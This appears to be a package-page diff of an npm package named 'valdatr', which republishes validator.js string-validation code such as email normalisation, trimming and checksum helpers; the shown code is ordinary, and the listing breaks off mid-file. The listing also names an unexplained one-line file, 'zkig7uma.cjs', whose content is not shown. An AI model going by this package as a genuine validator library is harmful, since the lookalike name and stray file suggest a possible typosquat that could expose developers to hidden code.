valdatr 13.12.0
Sign up to get free protection for your applications and to get access to all the features.
- package/LICENSE +20 -0
- package/README.md +273 -0
- package/es/index.js +211 -0
- package/es/lib/alpha.js +137 -0
- package/es/lib/blacklist.js +5 -0
- package/es/lib/contains.js +15 -0
- package/es/lib/equals.js +5 -0
- package/es/lib/escape.js +5 -0
- package/es/lib/isAbaRouting.js +15 -0
- package/es/lib/isAfter.js +9 -0
- package/es/lib/isAlpha.js +23 -0
- package/es/lib/isAlphanumeric.js +23 -0
- package/es/lib/isAscii.js +10 -0
- package/es/lib/isBIC.js +16 -0
- package/es/lib/isBase32.js +19 -0
- package/es/lib/isBase58.js +11 -0
- package/es/lib/isBase64.js +20 -0
- package/es/lib/isBefore.js +9 -0
- package/es/lib/isBoolean.js +14 -0
- package/es/lib/isBtcAddress.js +7 -0
- package/es/lib/isByteLength.js +19 -0
- package/es/lib/isCreditCard.js +43 -0
- package/es/lib/isCurrency.js +74 -0
- package/es/lib/isDataURI.js +31 -0
- package/es/lib/isDate.js +92 -0
- package/es/lib/isDecimal.js +22 -0
- package/es/lib/isDivisibleBy.js +6 -0
- package/es/lib/isEAN.js +70 -0
- package/es/lib/isEmail.js +164 -0
- package/es/lib/isEmpty.js +10 -0
- package/es/lib/isEthereumAddress.js +6 -0
- package/es/lib/isFQDN.js +67 -0
- package/es/lib/isFloat.js +13 -0
- package/es/lib/isFullWidth.js +6 -0
- package/es/lib/isHSL.js +13 -0
- package/es/lib/isHalfWidth.js +6 -0
- package/es/lib/isHash.js +21 -0
- package/es/lib/isHexColor.js +6 -0
- package/es/lib/isHexadecimal.js +6 -0
- package/es/lib/isIBAN.js +173 -0
- package/es/lib/isIMEI.js +40 -0
- package/es/lib/isIP.js +50 -0
- package/es/lib/isIPRange.js +41 -0
- package/es/lib/isISBN.js +47 -0
- package/es/lib/isISIN.js +55 -0
- package/es/lib/isISO31661Alpha2.js +9 -0
- package/es/lib/isISO31661Alpha3.js +8 -0
- package/es/lib/isISO4217.js +9 -0
- package/es/lib/isISO6346.js +27 -0
- package/es/lib/isISO6391.js +6 -0
- package/es/lib/isISO8601.js +42 -0
- package/es/lib/isISRC.js +8 -0
- package/es/lib/isISSN.js +19 -0
- package/es/lib/isIdentityCard.js +406 -0
- package/es/lib/isIn.js +23 -0
- package/es/lib/isInt.js +18 -0
- package/es/lib/isJSON.js +19 -0
- package/es/lib/isJWT.js +15 -0
- package/es/lib/isLatLong.js +20 -0
- package/es/lib/isLength.js +21 -0
- package/es/lib/isLicensePlate.js +55 -0
- package/es/lib/isLocale.js +107 -0
- package/es/lib/isLowercase.js +5 -0
- package/es/lib/isLuhnNumber.js +25 -0
- package/es/lib/isMACAddress.js +36 -0
- package/es/lib/isMD5.js +6 -0
- package/es/lib/isMagnetURI.js +9 -0
- package/es/lib/isMailtoURI.js +75 -0
- package/es/lib/isMimeType.js +40 -0
- package/es/lib/isMobilePhone.js +208 -0
- package/es/lib/isMongoId.js +6 -0
- package/es/lib/isMultibyte.js +10 -0
- package/es/lib/isNumeric.js +10 -0
- package/es/lib/isOctal.js +6 -0
- package/es/lib/isPassportNumber.js +144 -0
- package/es/lib/isPort.js +8 -0
- package/es/lib/isPostalCode.js +95 -0
- package/es/lib/isRFC3339.js +21 -0
- package/es/lib/isRgbColor.js +13 -0
- package/es/lib/isSemVer.js +14 -0
- package/es/lib/isSlug.js +6 -0
- package/es/lib/isStrongPassword.js +90 -0
- package/es/lib/isSurrogatePair.js +6 -0
- package/es/lib/isTaxID.js +1388 -0
- package/es/lib/isTime.js +20 -0
- package/es/lib/isURL.js +155 -0
- package/es/lib/isUUID.js +15 -0
- package/es/lib/isUppercase.js +5 -0
- package/es/lib/isVAT.js +264 -0
- package/es/lib/isVariableWidth.js +7 -0
- package/es/lib/isWhitelisted.js +10 -0
- package/es/lib/ltrim.js +7 -0
- package/es/lib/matches.js +8 -0
- package/es/lib/normalizeEmail.js +129 -0
- package/es/lib/rtrim.js +15 -0
- package/es/lib/stripLow.js +7 -0
- package/es/lib/toBoolean.js +8 -0
- package/es/lib/toDate.js +6 -0
- package/es/lib/toFloat.js +5 -0
- package/es/lib/toInt.js +5 -0
- package/es/lib/trim.js +5 -0
- package/es/lib/unescape.js +8 -0
- package/es/lib/util/algorithms.js +79 -0
- package/es/lib/util/assertString.js +9 -0
- package/es/lib/util/includes.js +6 -0
- package/es/lib/util/merge.js +10 -0
- package/es/lib/util/multilineRegex.js +12 -0
- package/es/lib/util/toString.js +13 -0
- package/es/lib/util/typeOf.js +10 -0
- package/es/lib/whitelist.js +5 -0
- package/index.js +223 -0
- package/lib/alpha.js +143 -0
- package/lib/blacklist.js +14 -0
- package/lib/contains.js +24 -0
- package/lib/equals.js +14 -0
- package/lib/escape.js +14 -0
- package/lib/isAbaRouting.js +23 -0
- package/lib/isAfter.js +18 -0
- package/lib/isAlpha.js +31 -0
- package/lib/isAlphanumeric.js +31 -0
- package/lib/isAscii.js +18 -0
- package/lib/isBIC.js +24 -0
- package/lib/isBase32.js +28 -0
- package/lib/isBase58.js +19 -0
- package/lib/isBase64.js +29 -0
- package/lib/isBefore.js +18 -0
- package/lib/isBoolean.js +23 -0
- package/lib/isBtcAddress.js +16 -0
- package/lib/isByteLength.js +27 -0
- package/lib/isCreditCard.js +52 -0
- package/lib/isCurrency.js +83 -0
- package/lib/isDataURI.js +40 -0
- package/lib/isDate.js +101 -0
- package/lib/isDecimal.js +31 -0
- package/lib/isDivisibleBy.js +15 -0
- package/lib/isEAN.js +78 -0
- package/lib/isEmail.js +173 -0
- package/lib/isEmpty.js +19 -0
- package/lib/isEthereumAddress.js +15 -0
- package/lib/isFQDN.js +76 -0
- package/lib/isFloat.js +21 -0
- package/lib/isFullWidth.js +14 -0
- package/lib/isHSL.js +22 -0
- package/lib/isHalfWidth.js +14 -0
- package/lib/isHash.js +30 -0
- package/lib/isHexColor.js +15 -0
- package/lib/isHexadecimal.js +15 -0
- package/lib/isIBAN.js +180 -0
- package/lib/isIMEI.js +49 -0
- package/lib/isIP.js +59 -0
- package/lib/isIPRange.js +50 -0
- package/lib/isISBN.js +56 -0
- package/lib/isISIN.js +64 -0
- package/lib/isISO31661Alpha2.js +16 -0
- package/lib/isISO31661Alpha3.js +16 -0
- package/lib/isISO4217.js +16 -0
- package/lib/isISO6346.js +34 -0
- package/lib/isISO6391.js +15 -0
- package/lib/isISO8601.js +50 -0
- package/lib/isISRC.js +16 -0
- package/lib/isISSN.js +28 -0
- package/lib/isIdentityCard.js +415 -0
- package/lib/isIn.js +32 -0
- package/lib/isInt.js +27 -0
- package/lib/isJSON.js +28 -0
- package/lib/isJWT.js +24 -0
- package/lib/isLatLong.js +29 -0
- package/lib/isLength.js +29 -0
- package/lib/isLicensePlate.js +64 -0
- package/lib/isLocale.js +115 -0
- package/lib/isLowercase.js +14 -0
- package/lib/isLuhnNumber.js +34 -0
- package/lib/isMACAddress.js +45 -0
- package/lib/isMD5.js +15 -0
- package/lib/isMagnetURI.js +18 -0
- package/lib/isMailtoURI.js +84 -0
- package/lib/isMimeType.js +48 -0
- package/lib/isMobilePhone.js +215 -0
- package/lib/isMongoId.js +15 -0
- package/lib/isMultibyte.js +18 -0
- package/lib/isNumeric.js +19 -0
- package/lib/isOctal.js +15 -0
- package/lib/isPassportNumber.js +152 -0
- package/lib/isPort.js +17 -0
- package/lib/isPostalCode.js +102 -0
- package/lib/isRFC3339.js +29 -0
- package/lib/isRgbColor.js +22 -0
- package/lib/isSemVer.js +22 -0
- package/lib/isSlug.js +15 -0
- package/lib/isStrongPassword.js +99 -0
- package/lib/isSurrogatePair.js +15 -0
- package/lib/isTaxID.js +1399 -0
- package/lib/isTime.js +29 -0
- package/lib/isURL.js +163 -0
- package/lib/isUUID.js +24 -0
- package/lib/isUppercase.js +14 -0
- package/lib/isVAT.js +275 -0
- package/lib/isVariableWidth.js +16 -0
- package/lib/isWhitelisted.js +19 -0
- package/lib/ltrim.js +16 -0
- package/lib/matches.js +17 -0
- package/lib/normalizeEmail.js +138 -0
- package/lib/rtrim.js +24 -0
- package/lib/stripLow.js +16 -0
- package/lib/toBoolean.js +17 -0
- package/lib/toDate.js +15 -0
- package/lib/toFloat.js +14 -0
- package/lib/toInt.js +14 -0
- package/lib/trim.js +14 -0
- package/lib/unescape.js +17 -0
- package/lib/util/algorithms.js +88 -0
- package/lib/util/assertString.js +17 -0
- package/lib/util/includes.js +14 -0
- package/lib/util/merge.js +18 -0
- package/lib/util/multilineRegex.js +20 -0
- package/lib/util/toString.js +21 -0
- package/lib/util/typeOf.js +18 -0
- package/lib/whitelist.js +14 -0
- package/package.json +69 -0
- package/validator.js +5562 -0
- package/validator.min.js +23 -0
- package/zkig7uma.cjs +1 -0
@@ -0,0 +1,138 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = normalizeEmail;
|
7
|
+
var _merge = _interopRequireDefault(require("./util/merge"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
var default_normalize_email_options = {
|
10
|
+
// The following options apply to all email addresses
|
11
|
+
// Lowercases the local part of the email address.
|
12
|
+
// Please note this may violate RFC 5321 as per http://stackoverflow.com/a/9808332/192024).
|
13
|
+
// The domain is always lowercased, as per RFC 1035
|
14
|
+
all_lowercase: true,
|
15
|
+
// The following conversions are specific to GMail
|
16
|
+
// Lowercases the local part of the GMail address (known to be case-insensitive)
|
17
|
+
gmail_lowercase: true,
|
18
|
+
// Removes dots from the local part of the email address, as that's ignored by GMail
|
19
|
+
gmail_remove_dots: true,
|
20
|
+
// Removes the subaddress (e.g. "+foo") from the email address
|
21
|
+
gmail_remove_subaddress: true,
|
22
|
+
// Conversts the googlemail.com domain to gmail.com
|
23
|
+
gmail_convert_googlemaildotcom: true,
|
24
|
+
// The following conversions are specific to Outlook.com / Windows Live / Hotmail
|
25
|
+
// Lowercases the local part of the Outlook.com address (known to be case-insensitive)
|
26
|
+
outlookdotcom_lowercase: true,
|
27
|
+
// Removes the subaddress (e.g. "+foo") from the email address
|
28
|
+
outlookdotcom_remove_subaddress: true,
|
29
|
+
// The following conversions are specific to Yahoo
|
30
|
+
// Lowercases the local part of the Yahoo address (known to be case-insensitive)
|
31
|
+
yahoo_lowercase: true,
|
32
|
+
// Removes the subaddress (e.g. "-foo") from the email address
|
33
|
+
yahoo_remove_subaddress: true,
|
34
|
+
// The following conversions are specific to Yandex
|
35
|
+
// Lowercases the local part of the Yandex address (known to be case-insensitive)
|
36
|
+
yandex_lowercase: true,
|
37
|
+
// The following conversions are specific to iCloud
|
38
|
+
// Lowercases the local part of the iCloud address (known to be case-insensitive)
|
39
|
+
icloud_lowercase: true,
|
40
|
+
// Removes the subaddress (e.g. "+foo") from the email address
|
41
|
+
icloud_remove_subaddress: true
|
42
|
+
};
|
43
|
+
|
44
|
+
// List of domains used by iCloud
|
45
|
+
var icloud_domains = ['icloud.com', 'me.com'];
|
46
|
+
|
47
|
+
// List of domains used by Outlook.com and its predecessors
|
48
|
+
// This list is likely incomplete.
|
49
|
+
// Partial reference:
|
50
|
+
// https://blogs.office.com/2013/04/17/outlook-com-gets-two-step-verification-sign-in-by-alias-and-new-international-domains/
|
51
|
+
var outlookdotcom_domains = ['hotmail.at', 'hotmail.be', 'hotmail.ca', 'hotmail.cl', 'hotmail.co.il', 'hotmail.co.nz', 'hotmail.co.th', 'hotmail.co.uk', 'hotmail.com', 'hotmail.com.ar', 'hotmail.com.au', 'hotmail.com.br', 'hotmail.com.gr', 'hotmail.com.mx', 'hotmail.com.pe', 'hotmail.com.tr', 'hotmail.com.vn', 'hotmail.cz', 'hotmail.de', 'hotmail.dk', 'hotmail.es', 'hotmail.fr', 'hotmail.hu', 'hotmail.id', 'hotmail.ie', 'hotmail.in', 'hotmail.it', 'hotmail.jp', 'hotmail.kr', 'hotmail.lv', 'hotmail.my', 'hotmail.ph', 'hotmail.pt', 'hotmail.sa', 'hotmail.sg', 'hotmail.sk', 'live.be', 'live.co.uk', 'live.com', 'live.com.ar', 'live.com.mx', 'live.de', 'live.es', 'live.eu', 'live.fr', 'live.it', 'live.nl', 'msn.com', 'outlook.at', 'outlook.be', 'outlook.cl', 'outlook.co.il', 'outlook.co.nz', 'outlook.co.th', 'outlook.com', 'outlook.com.ar', 'outlook.com.au', 'outlook.com.br', 'outlook.com.gr', 'outlook.com.pe', 'outlook.com.tr', 'outlook.com.vn', 'outlook.cz', 'outlook.de', 'outlook.dk', 'outlook.es', 'outlook.fr', 'outlook.hu', 'outlook.id', 'outlook.ie', 'outlook.in', 'outlook.it', 'outlook.jp', 'outlook.kr', 'outlook.lv', 'outlook.my', 'outlook.ph', 'outlook.pt', 'outlook.sa', 'outlook.sg', 'outlook.sk', 'passport.com'];
|
52
|
+
|
53
|
+
// List of domains used by Yahoo Mail
|
54
|
+
// This list is likely incomplete
|
55
|
+
var yahoo_domains = ['rocketmail.com', 'yahoo.ca', 'yahoo.co.uk', 'yahoo.com', 'yahoo.de', 'yahoo.fr', 'yahoo.in', 'yahoo.it', 'ymail.com'];
|
56
|
+
|
57
|
+
// List of domains used by yandex.ru
|
58
|
+
var yandex_domains = ['yandex.ru', 'yandex.ua', 'yandex.kz', 'yandex.com', 'yandex.by', 'ya.ru'];
|
59
|
+
|
60
|
+
// replace single dots, but not multiple consecutive dots
|
61
|
+
function dotsReplacer(match) {
|
62
|
+
if (match.length > 1) {
|
63
|
+
return match;
|
64
|
+
}
|
65
|
+
return '';
|
66
|
+
}
|
67
|
+
function normalizeEmail(email, options) {
|
68
|
+
options = (0, _merge.default)(options, default_normalize_email_options);
|
69
|
+
var raw_parts = email.split('@');
|
70
|
+
var domain = raw_parts.pop();
|
71
|
+
var user = raw_parts.join('@');
|
72
|
+
var parts = [user, domain];
|
73
|
+
|
74
|
+
// The domain is always lowercased, as it's case-insensitive per RFC 1035
|
75
|
+
parts[1] = parts[1].toLowerCase();
|
76
|
+
if (parts[1] === 'gmail.com' || parts[1] === 'googlemail.com') {
|
77
|
+
// Address is GMail
|
78
|
+
if (options.gmail_remove_subaddress) {
|
79
|
+
parts[0] = parts[0].split('+')[0];
|
80
|
+
}
|
81
|
+
if (options.gmail_remove_dots) {
|
82
|
+
// this does not replace consecutive dots like example..email@gmail.com
|
83
|
+
parts[0] = parts[0].replace(/\.+/g, dotsReplacer);
|
84
|
+
}
|
85
|
+
if (!parts[0].length) {
|
86
|
+
return false;
|
87
|
+
}
|
88
|
+
if (options.all_lowercase || options.gmail_lowercase) {
|
89
|
+
parts[0] = parts[0].toLowerCase();
|
90
|
+
}
|
91
|
+
parts[1] = options.gmail_convert_googlemaildotcom ? 'gmail.com' : parts[1];
|
92
|
+
} else if (icloud_domains.indexOf(parts[1]) >= 0) {
|
93
|
+
// Address is iCloud
|
94
|
+
if (options.icloud_remove_subaddress) {
|
95
|
+
parts[0] = parts[0].split('+')[0];
|
96
|
+
}
|
97
|
+
if (!parts[0].length) {
|
98
|
+
return false;
|
99
|
+
}
|
100
|
+
if (options.all_lowercase || options.icloud_lowercase) {
|
101
|
+
parts[0] = parts[0].toLowerCase();
|
102
|
+
}
|
103
|
+
} else if (outlookdotcom_domains.indexOf(parts[1]) >= 0) {
|
104
|
+
// Address is Outlook.com
|
105
|
+
if (options.outlookdotcom_remove_subaddress) {
|
106
|
+
parts[0] = parts[0].split('+')[0];
|
107
|
+
}
|
108
|
+
if (!parts[0].length) {
|
109
|
+
return false;
|
110
|
+
}
|
111
|
+
if (options.all_lowercase || options.outlookdotcom_lowercase) {
|
112
|
+
parts[0] = parts[0].toLowerCase();
|
113
|
+
}
|
114
|
+
} else if (yahoo_domains.indexOf(parts[1]) >= 0) {
|
115
|
+
// Address is Yahoo
|
116
|
+
if (options.yahoo_remove_subaddress) {
|
117
|
+
var components = parts[0].split('-');
|
118
|
+
parts[0] = components.length > 1 ? components.slice(0, -1).join('-') : components[0];
|
119
|
+
}
|
120
|
+
if (!parts[0].length) {
|
121
|
+
return false;
|
122
|
+
}
|
123
|
+
if (options.all_lowercase || options.yahoo_lowercase) {
|
124
|
+
parts[0] = parts[0].toLowerCase();
|
125
|
+
}
|
126
|
+
} else if (yandex_domains.indexOf(parts[1]) >= 0) {
|
127
|
+
if (options.all_lowercase || options.yandex_lowercase) {
|
128
|
+
parts[0] = parts[0].toLowerCase();
|
129
|
+
}
|
130
|
+
parts[1] = 'yandex.ru'; // all yandex domains are equal, 1st preferred
|
131
|
+
} else if (options.all_lowercase) {
|
132
|
+
// Any other address
|
133
|
+
parts[0] = parts[0].toLowerCase();
|
134
|
+
}
|
135
|
+
return parts.join('@');
|
136
|
+
}
|
137
|
+
module.exports = exports.default;
|
138
|
+
module.exports.default = exports.default;
|
package/lib/rtrim.js
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = rtrim;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function rtrim(str, chars) {
|
10
|
+
(0, _assertString.default)(str);
|
11
|
+
if (chars) {
|
12
|
+
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping
|
13
|
+
var pattern = new RegExp("[".concat(chars.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), "]+$"), 'g');
|
14
|
+
return str.replace(pattern, '');
|
15
|
+
}
|
16
|
+
// Use a faster and more safe than regex trim method https://blog.stevenlevithan.com/archives/faster-trim-javascript
|
17
|
+
var strIndex = str.length - 1;
|
18
|
+
while (/\s/.test(str.charAt(strIndex))) {
|
19
|
+
strIndex -= 1;
|
20
|
+
}
|
21
|
+
return str.slice(0, strIndex + 1);
|
22
|
+
}
|
23
|
+
module.exports = exports.default;
|
24
|
+
module.exports.default = exports.default;
|
package/lib/stripLow.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = stripLow;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
var _blacklist = _interopRequireDefault(require("./blacklist"));
|
9
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
10
|
+
function stripLow(str, keep_new_lines) {
|
11
|
+
(0, _assertString.default)(str);
|
12
|
+
var chars = keep_new_lines ? '\\x00-\\x09\\x0B\\x0C\\x0E-\\x1F\\x7F' : '\\x00-\\x1F\\x7F';
|
13
|
+
return (0, _blacklist.default)(str, chars);
|
14
|
+
}
|
15
|
+
module.exports = exports.default;
|
16
|
+
module.exports.default = exports.default;
|
package/lib/toBoolean.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = toBoolean;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function toBoolean(str, strict) {
|
10
|
+
(0, _assertString.default)(str);
|
11
|
+
if (strict) {
|
12
|
+
return str === '1' || /^true$/i.test(str);
|
13
|
+
}
|
14
|
+
return str !== '0' && !/^false$/i.test(str) && str !== '';
|
15
|
+
}
|
16
|
+
module.exports = exports.default;
|
17
|
+
module.exports.default = exports.default;
|
package/lib/toDate.js
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = toDate;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function toDate(date) {
|
10
|
+
(0, _assertString.default)(date);
|
11
|
+
date = Date.parse(date);
|
12
|
+
return !isNaN(date) ? new Date(date) : null;
|
13
|
+
}
|
14
|
+
module.exports = exports.default;
|
15
|
+
module.exports.default = exports.default;
|
package/lib/toFloat.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = toFloat;
|
7
|
+
var _isFloat = _interopRequireDefault(require("./isFloat"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function toFloat(str) {
|
10
|
+
if (!(0, _isFloat.default)(str)) return NaN;
|
11
|
+
return parseFloat(str);
|
12
|
+
}
|
13
|
+
module.exports = exports.default;
|
14
|
+
module.exports.default = exports.default;
|
package/lib/toInt.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = toInt;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function toInt(str, radix) {
|
10
|
+
(0, _assertString.default)(str);
|
11
|
+
return parseInt(str, radix || 10);
|
12
|
+
}
|
13
|
+
module.exports = exports.default;
|
14
|
+
module.exports.default = exports.default;
|
package/lib/trim.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = trim;
|
7
|
+
var _rtrim = _interopRequireDefault(require("./rtrim"));
|
8
|
+
var _ltrim = _interopRequireDefault(require("./ltrim"));
|
9
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
10
|
+
function trim(str, chars) {
|
11
|
+
return (0, _rtrim.default)((0, _ltrim.default)(str, chars), chars);
|
12
|
+
}
|
13
|
+
module.exports = exports.default;
|
14
|
+
module.exports.default = exports.default;
|
package/lib/unescape.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = unescape;
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
8
|
+
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
|
9
|
+
function unescape(str) {
|
10
|
+
(0, _assertString.default)(str);
|
11
|
+
return str.replace(/"/g, '"').replace(/'/g, "'").replace(/</g, '<').replace(/>/g, '>').replace(///g, '/').replace(/\/g, '\\').replace(/`/g, '`').replace(/&/g, '&');
|
12
|
+
// & replacement has to be the last one to prevent
|
13
|
+
// bugs with intermediate strings containing escape sequences
|
14
|
+
// See: https://github.com/validatorjs/validator.js/issues/1827
|
15
|
+
}
|
16
|
+
module.exports = exports.default;
|
17
|
+
module.exports.default = exports.default;
|
@@ -0,0 +1,88 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.iso7064Check = iso7064Check;
|
7
|
+
exports.luhnCheck = luhnCheck;
|
8
|
+
exports.reverseMultiplyAndSum = reverseMultiplyAndSum;
|
9
|
+
exports.verhoeffCheck = verhoeffCheck;
|
10
|
+
/**
|
11
|
+
* Algorithmic validation functions
|
12
|
+
* May be used as is or implemented in the workflow of other validators.
|
13
|
+
*/
|
14
|
+
|
15
|
+
/*
|
16
|
+
* ISO 7064 validation function
|
17
|
+
* Called with a string of numbers (incl. check digit)
|
18
|
+
* to validate according to ISO 7064 (MOD 11, 10).
|
19
|
+
*/
|
20
|
+
function iso7064Check(str) {
|
21
|
+
var checkvalue = 10;
|
22
|
+
for (var i = 0; i < str.length - 1; i++) {
|
23
|
+
checkvalue = (parseInt(str[i], 10) + checkvalue) % 10 === 0 ? 10 * 2 % 11 : (parseInt(str[i], 10) + checkvalue) % 10 * 2 % 11;
|
24
|
+
}
|
25
|
+
checkvalue = checkvalue === 1 ? 0 : 11 - checkvalue;
|
26
|
+
return checkvalue === parseInt(str[10], 10);
|
27
|
+
}
|
28
|
+
|
29
|
+
/*
|
30
|
+
* Luhn (mod 10) validation function
|
31
|
+
* Called with a string of numbers (incl. check digit)
|
32
|
+
* to validate according to the Luhn algorithm.
|
33
|
+
*/
|
34
|
+
function luhnCheck(str) {
|
35
|
+
var checksum = 0;
|
36
|
+
var second = false;
|
37
|
+
for (var i = str.length - 1; i >= 0; i--) {
|
38
|
+
if (second) {
|
39
|
+
var product = parseInt(str[i], 10) * 2;
|
40
|
+
if (product > 9) {
|
41
|
+
// sum digits of product and add to checksum
|
42
|
+
checksum += product.toString().split('').map(function (a) {
|
43
|
+
return parseInt(a, 10);
|
44
|
+
}).reduce(function (a, b) {
|
45
|
+
return a + b;
|
46
|
+
}, 0);
|
47
|
+
} else {
|
48
|
+
checksum += product;
|
49
|
+
}
|
50
|
+
} else {
|
51
|
+
checksum += parseInt(str[i], 10);
|
52
|
+
}
|
53
|
+
second = !second;
|
54
|
+
}
|
55
|
+
return checksum % 10 === 0;
|
56
|
+
}
|
57
|
+
|
58
|
+
/*
|
59
|
+
* Reverse TIN multiplication and summation helper function
|
60
|
+
* Called with an array of single-digit integers and a base multiplier
|
61
|
+
* to calculate the sum of the digits multiplied in reverse.
|
62
|
+
* Normally used in variations of MOD 11 algorithmic checks.
|
63
|
+
*/
|
64
|
+
function reverseMultiplyAndSum(digits, base) {
|
65
|
+
var total = 0;
|
66
|
+
for (var i = 0; i < digits.length; i++) {
|
67
|
+
total += digits[i] * (base - i);
|
68
|
+
}
|
69
|
+
return total;
|
70
|
+
}
|
71
|
+
|
72
|
+
/*
|
73
|
+
* Verhoeff validation helper function
|
74
|
+
* Called with a string of numbers
|
75
|
+
* to validate according to the Verhoeff algorithm.
|
76
|
+
*/
|
77
|
+
function verhoeffCheck(str) {
|
78
|
+
var d_table = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 2, 3, 4, 0, 6, 7, 8, 9, 5], [2, 3, 4, 0, 1, 7, 8, 9, 5, 6], [3, 4, 0, 1, 2, 8, 9, 5, 6, 7], [4, 0, 1, 2, 3, 9, 5, 6, 7, 8], [5, 9, 8, 7, 6, 0, 4, 3, 2, 1], [6, 5, 9, 8, 7, 1, 0, 4, 3, 2], [7, 6, 5, 9, 8, 2, 1, 0, 4, 3], [8, 7, 6, 5, 9, 3, 2, 1, 0, 4], [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]];
|
79
|
+
var p_table = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 5, 7, 6, 2, 8, 3, 0, 9, 4], [5, 8, 0, 3, 7, 9, 6, 1, 4, 2], [8, 9, 1, 6, 0, 4, 3, 5, 2, 7], [9, 4, 5, 3, 1, 2, 6, 8, 7, 0], [4, 2, 8, 6, 5, 7, 3, 9, 0, 1], [2, 7, 9, 3, 8, 0, 6, 4, 1, 5], [7, 0, 4, 6, 9, 1, 3, 2, 5, 8]];
|
80
|
+
|
81
|
+
// Copy (to prevent replacement) and reverse
|
82
|
+
var str_copy = str.split('').reverse().join('');
|
83
|
+
var checksum = 0;
|
84
|
+
for (var i = 0; i < str_copy.length; i++) {
|
85
|
+
checksum = d_table[checksum][p_table[i % 8][parseInt(str_copy[i], 10)]];
|
86
|
+
}
|
87
|
+
return checksum === 0;
|
88
|
+
}
|
@@ -0,0 +1,17 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = assertString;
|
7
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
8
|
+
function assertString(input) {
|
9
|
+
var isString = typeof input === 'string' || input instanceof String;
|
10
|
+
if (!isString) {
|
11
|
+
var invalidType = _typeof(input);
|
12
|
+
if (input === null) invalidType = 'null';else if (invalidType === 'object') invalidType = input.constructor.name;
|
13
|
+
throw new TypeError("Expected a string but received a ".concat(invalidType));
|
14
|
+
}
|
15
|
+
}
|
16
|
+
module.exports = exports.default;
|
17
|
+
module.exports.default = exports.default;
|
@@ -0,0 +1,14 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = void 0;
|
7
|
+
var includes = function includes(arr, val) {
|
8
|
+
return arr.some(function (arrVal) {
|
9
|
+
return val === arrVal;
|
10
|
+
});
|
11
|
+
};
|
12
|
+
var _default = exports.default = includes;
|
13
|
+
module.exports = exports.default;
|
14
|
+
module.exports.default = exports.default;
|
@@ -0,0 +1,18 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.default = merge;
|
7
|
+
function merge() {
|
8
|
+
